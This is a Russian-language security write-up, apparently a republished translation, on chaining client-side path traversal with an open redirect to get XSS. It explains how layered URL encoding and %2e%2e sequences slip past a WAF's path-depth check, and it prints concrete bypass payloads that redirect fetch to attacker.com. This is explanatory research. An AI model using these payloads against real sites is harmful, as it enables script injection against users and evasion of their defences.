Обход WAF для эксплуатации CSPT с использованием разных уровней кодирования

Обход WAF для эксплуатации CSPT с использованием разных уровней кодирования

SHADOW:Group

Краткое введение в CSPT

Client Side Path Traversal (или кратко CSPT) — это уязвимость, возникающая, когда ввод данных, контролируемых атакующим, кодируется не должным образом и попадает в компонент пути URL, к которому JavaScript-код приложения отправляет запрос. В этом случае атакующий может вставить последовательности для path traversal (../) в путь URL, заставляя JS-код отправлять запрос на произвольный эндпоинт. Эта уязвимость сама по себе не имеет значительного влияния, но часто может быть объединена с другими механизмами для достижения большего эффекта.

Пример уязвимости

Чтобы объяснить этот тип уязвимости, рассмотрим пример. Предположим, у вас есть сайт-блог, и вы хотите создать страницу (например, https://example.com/viewpost), где пользователи могут просматривать посты. Один из способов реализовать это — включить в страницу следующий JS-код:

// get the value of the URL parameter "p"
const post_name = new URLSearchParams(location.search).get("p");
const blog_post_response = await fetch("/api/posts/get_content/" + post_name);
const post_content = await blog_post_response.text();
display_post_html(post_content);

Когда пользователь переходит по ссылке https://example.com/viewpost?p=543, JS-код получает HTML-содержимое поста номер 543, отправляя запрос на https://example.com/api/posts/get_content/543, и затем отображает это содержимое пользователю. Поскольку параметр p может содержать ввод, контролируемый атакующим, и его значение используется напрямую в пути URL, который запрашивает страница, этот код уязвим для CSPT. Если атакующий отправит жертве ссылку на https://example.com/viewpost?p=../../../asdf, и жертва перейдет по ней, то URL, который будет создан на странице, станет https://example.com/api/posts/get_content/../../../asdf, и в результате страница отправит запрос на https://example.com/asdf. Остальной JS-код на странице выполнится нормально и использует ответ на этот запрос так, как будто это содержимое блога, потому что оно будет сохранено в переменной blog_post_response.

Как видите, атакующий может заставить страницу отправить запрос на произвольный эндпоинт в https://example.com/. Чтобы продемонстрировать потенциальный импакт, предположим, что приложение имеет уязвимость open redirect на https://example.com/redirect?u=.... В этом случае атакующий может объединить уязвимость CSPT с уязвимостью open redirect, используя полезную нагрузку, такую как ../../../?u=https://attacker.com. При использовании этой полезной нагрузки уязвимая страница отправит запрос на https://example.com/redirect?u=https://attacker.com, и ответом на этот запрос будет перенаправление на https://attacker.com. Поскольку fetch по умолчанию автоматически следует перенаправлениям, последующий запрос будет отправлен на https://attacker.com, и ответ на этот запрос будет сохранен в переменной blog_post_response. Так как атакующий контролирует этот ответ, он может контролировать HTML-содержимое блога, которое будет отображено пользователю, что, скорее всего, приведет к XSS.

Краткий обзор

Вот краткий обзор того, что мы только что рассмотрели:

1. Страница для отображения постов вызывает функцию fetch, отправляя запрос на URL с вводом, контролируемым атакующим, который неправильно закодирован в пути, что позволяет атакующему вставлять последовательности ../ в путь и заставлять запрос отправляться на произвольный эндпоинт. Это называется уязвимостью CSPT.

2. Атакующий заставляет запрос отправляться на эндпоинт, содержащий уязвимость open redirect.

3. Эндпоинт отвечает перенаправлением на домен, контролируемый атакующим.

4. Функция fetch автоматически следует этому перенаправлению, отправляя запрос на домен, контролируемый атакующим.

5. Домен, контролируемый атакующим, отвечает с некоторым вредоносным ответом.

6. Функция fetch завершает работу и возвращает вредоносный ответ.

7. Страница обрабатывает этот ответ так, как будто это содержимое блога, что приводит к XSS.

Проблема

На недавнем хакерском ивенте я обнаружил баг, похожий на описанный выше. Однако в этом баге ввод, контролируемый атакующим, поступал не из параметра запроса, а из параметра пути. Другими словами, URL выглядел скорее как https://example.com/viewpost/543, а не https://example.com/viewpost?p=543. Ввод все еще мог содержать последовательности ../, но их нужно было кодировать, чтобы URL правильно парсился. Цель также имела уязвимость open redirect, которую я пытался объединить с найденным CSPT. Однако, когда я попытался эксплуатировать эту уязвимость, перейдя по URL с полезной нагрузкой ../../../?u=https://attacker.com (https://example.com/viewpost/..%2f..%2f..%2fredirect%3fu=https:%2f%2fattacker.com), навигация была заблокирована WAF, который использовала цель.

После некоторого анализа URL я понял, почему WAF блокировал запрос, но для объяснения этого мне нужно сначала определить несколько неформальных терминов:

- Глубина URL равна количеству директорий в его пути минус количество последовательностей ../ в нем. Например, глубина https://example.com/a будет 0, глубина https://example.com/a/b будет 1, а глубина https://example.com/a/../b/c также будет 1, и глубина https://example.com/a/../../c будет -1.

- Уровень кодирования строки равен количеству раз, за которые нужно последовательно декодировать URL, чтобы правильно декодировать строку. Например, уровень кодирования строки aa равен 0, так как ее не нужно декодировать, а уровень кодирования строки b%252561 равен 3, так как нужно декодировать ее 3 раза, чтобы получить строку ba (b%252561 -> b%2561 -> b%61 -> ba).

WAF, чтобы предотвратить атаки с path traversal, вычислял глубину URL запроса и блокировал запрос, если эта глубина была отрицательной. Чтобы предотвратить атаки с path traversal, использующие более высокие уровни кодирования, WAF декодировал URL определенное количество раз перед проверкой его глубины. Я буду называть это количество "уровнем WAF". Например, если уровень WAF больше или равен 2, то следующий URL будет заблокирован https://example.com/a/..%252f..%252f, так как его глубина будет -1 после 2 декодирований. Это поведение предотвращало мои попытки эксплуатации, потому что глубина URL, который мне нужно было использовать, была отрицательной.

Пытаясь обойти этот WAF, я заметил две ключевые особенности:

1. Если я перейду на https://example.com/viewpost/%2561, то приложение отправит запрос на https://example.com/api/posts/get_content/a. Другими словами, приложение декодирует наш ввод определенное количество раз перед передачей его функции fetch. Я буду называть это количество "уровнем приложения".

2. Браузер обрабатывает последовательности %2e%2e/ точно так же, как и ../, даже если точки в первой последовательности закодированы.

Наконец, все части, необходимые для обхода, на месте. Теперь давайте его рассмотрим.

Байпасс

Байпасс отличается в зависимости от того, уровень WAF больше, меньше или равен уровню приложения. Рассмотрим разные случаи.

Если уровень WAF меньше уровня приложения, мы просто кодируем нашу полезную нагрузку повторно, пока WAF не перестанет блокировать запрос. Например, если уровень WAF равен 1, а уровень приложения равен 2, тогда мы можем использовать дважды закодированную полезную нагрузку, такую как ..%252f..%252f..%252fasdf. WAF не распознает последовательности ../, но приложение декодирует полезную нагрузку дважды перед передачей ее функции fetch как ../../../asdf, так что это сработает.

Если уровень WAF больше уровня приложения, мы включаем много закодированных последовательностей a/a в путь, которые WAF декодирует, но приложение не будет. Например, если уровень WAF равен 2, а уровень приложения равен 1, тогда мы можем использовать полезную нагрузку, такую как a%252fa%252fa%252fa%2f..%2f..%2f..%2f..%2fasdf. WAF декодирует эту полезную нагрузку до a/a/a/a/../../../../asdf, так что глубина будет 0 (4 директории минус 4 последовательности ../). Однако полезная нагрузка будет передана функции fetch как a%2fa%2fa%2fa/../../../../asdf, что эквивалентно ../../../asdf, так что это сработает.

Наконец, если уровень WAF равен уровню приложения, мы используем полезную нагрузку, которая будет декодирована как браузером, так и WAF до %2e%2e/%2e%2e/%2e%2e/asdf. Для WAF эта полезная нагрузка будет иметь глубину 3. Однако, поскольку браузер обрабатывает последовательности %2e%2e/ точно так же, как ../, полезная нагрузка действительно сработает!

В моем кейсе на хакерском ивенте я использовал последний метод обхода, так как и WAF, и приложение имели уровень 1. URL, который я использовал, был похож на https://example.com/viewpost/%252e%252e%2f%252e%252e%2f%252e%252e%2fredirect%3fu=https:%2f%2fattacker.com. WAF и браузер декодировали этот URL до https://example.com/viewpost/%2e%2e/%2e%2e/%2e%2e/redirect?u=https://attacker.com, что имеет положительную глубину, так что запрос не был заблокирован. Приложение декодировало полезную нагрузку один раз, и URL, который передавался функции fetch, был https://example.com/api/posts/get_content/%2e%2e/%2e%2e/%2e%2e/redirect?u=https://attacker.com, что эквивалентно https://example.com/redirect?u=https://attacker.com. Используя вредоносный ответ, я затем смог получить XSS на сайте.

На этом все, спасибо за просмотр!!

Оригинал статьи на английском тут.

Подпишись на канал - @shadow_group_tg.


Report Page